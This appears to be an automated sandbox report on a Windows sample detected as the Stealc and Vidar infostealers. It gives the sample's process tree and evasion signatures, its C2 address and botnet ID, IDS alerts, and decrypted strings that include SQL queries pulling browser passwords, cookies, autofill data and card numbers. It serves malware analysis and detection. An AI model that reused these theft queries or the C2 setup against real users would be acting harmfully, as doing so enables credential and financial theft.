Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545612
MD5:	363f1b2f4756da222b17a7da242d8f7d
SHA1:	2cadabf80c572084de8b41371a33d683ad73f089
SHA256:	4a3c6cf986c461e36dea4a65f37b3ae4b4b9e55630f4f10647cc31a055eb51f2
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1288 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 363F1B2F4756DA222B17A7DA242D8F7D)

chrome.exe (PID: 2000 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7104 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1900 --field-trial-handle=2008,i,15293137688797351701,7841592471978055485,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7900 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8160 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2656,i,2284156981973121022,16163962859087693110,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8144 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7660 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8244 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6944 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8252 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7100 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8692 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7048 --field-trial-handle=2060,i,6789625770018124823,2934607197507039511,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2513651548.0000000000C51000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2111533445.0000000005190000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2514950284.000000000154E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1288	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1288	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1288	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1288	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.c50000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 1288, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 2000, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T18:06:15.304778+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T18:06:15.304654+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T18:06:15.588742+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T18:06:16.692522+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T18:06:15.596370+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T18:06:14.694509+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T18:06:17.601133+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T18:06:43.518005+0100	2803304	3	Unknown Traffic	192.168.2.5	49812	185.215.113.206	80	TCP
2024-10-30T18:06:44.928551+0100	2803304	3	Unknown Traffic	192.168.2.5	49812	185.215.113.206	80	TCP
2024-10-30T18:06:45.840050+0100	2803304	3	Unknown Traffic	192.168.2.5	49812	185.215.113.206	80	TCP
2024-10-30T18:06:46.441841+0100	2803304	3	Unknown Traffic	192.168.2.5	49812	185.215.113.206	80	TCP
2024-10-30T18:06:47.221607+0100	2803304	3	Unknown Traffic	192.168.2.5	49812	185.215.113.206	80	TCP
2024-10-30T18:06:47.557162+0100	2803304	3	Unknown Traffic	192.168.2.5	49812	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.c50000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.c50000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.c50000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: history
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: History
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: places.sqlite
